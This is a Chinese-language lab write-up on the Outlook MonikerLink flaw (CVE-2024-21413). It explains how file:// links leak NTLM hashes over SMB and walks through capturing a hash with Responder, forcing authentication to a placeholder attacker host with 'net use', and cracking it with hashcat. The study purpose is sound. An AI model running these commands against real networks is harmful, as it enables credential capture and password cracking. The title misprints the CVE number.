为漏洞 CVE-2024-214113(MONIKER LINK)创建的渗透测试实验室。
本项目旨在研究漏洞 CVE-2024-21413 (MonikerLink),探索 SMB/NTLM 协议如何被滥用于凭据窃取。
即使在微软官方修复之后,该实验环境表明,该概念在内部场景中仍然有效。
该漏洞 (CVE-2024-21413) 被称为 MonikerLink,被评定为严重级别 (CVSS 9.8)。 它的产生原因是 Outlook 以不安全的方式处理 "file://" 链接,使用了过时的 COM API(Moniker 对象)。这些对象允许 Outlook 调用外部资源而无需经过受保护视图,从而诱导客户端自动发起 SMB 连接。
它是 Windows 的一项功能,允许通过特殊链接引用 COM 对象。
原始漏洞通过邮件发送的 "file://" 链接或 UNC 路径进行利用。
通过在链接中添加 "!" 字符,可以绕过 Outlook 的内部保护,强制直接打开外部资源。
这会导致自动的 NTLM 身份验证,在用户几乎没有交互的情况下,将 NetNTLMv2 哈希暴露给攻击者。
补丁 KB5002519 专门阻止了 Outlook 中的此行为,阻止 "file://" 链接以这种方式被处理。
然而,Windows 的自动 NTLM 在 Outlook 上下文之外仍然有效。也就是说,任何在启用了 NTLM 且没有身份验证限制的环境中访问 SMB 资源的尝试,仍然可能导致自动发送哈希。
📌 Outlook、SMB/NTLM 和 Responder 之间的关系 原始漏洞:通过包含恶意链接的垃圾邮件 → Outlook 处理 → NTLM 自动验证 → 攻击者收到哈希。
内部实验环境:我们仅模拟概念部分 → 手动强制建立 SMB 连接 → Responder 捕获哈希 → Hashcat 进行破解。
为什么仍然有效?因为 NTLM 是一个传统协议,它会自动对 SMB 连接进行身份验证,与 Outlook 无关。补丁修复了 Outlook 客户端,但并未消除 Windows 中 NTLM 的行为


在测试过程中,Outlook 阻止了来自邮件的 file:// 链接,并显示安全警告:

2024 年 2 月发布的补丁 KB5002519 通过阻止 file:// 链接,缓解了通过邮件进行的外部攻击向量。
然而,NTLM 协议仍然允许在 SMB 连接中进行自动身份验证。
这意味着,尽管 Outlook 已针对此特定漏洞受到保护,但内部攻击面仍然有效。
问题的根源在于依赖 NTLM 作为身份验证机制,它在 SMB 连接中仍然容易受到哈希捕获的影响。
sudo responder -I eth0

强制 SMB 通信
在 Windows 上,我们手动访问指向攻击者 IP 的 SMB 资源。
此访问强制 Windows 客户端通过 NTLM 自动尝试身份验证,从而将哈希发送到伪造的服务器 (Responder)。
正是在这一刻,凭据首次暴露。我们可以通过两种方式强制建立 SMB 通信:
通过资源管理器,手动访问:
\\<攻击者 IP>\test.

通过终端(cmd 或 PowerShell),使用命令:
net use \\<攻击者 IP>\test

/usr/share/responder/logs/SMB-NTLMv2-SSP-<IP>.txt

hashcat -m 5600 -a 0 ~/hash.txt /usr/share/wordlists/rockyou.txt
注意:
出于安全原因,不显示真实密码。目的是演示该过程和漏洞。

本实验环境表明: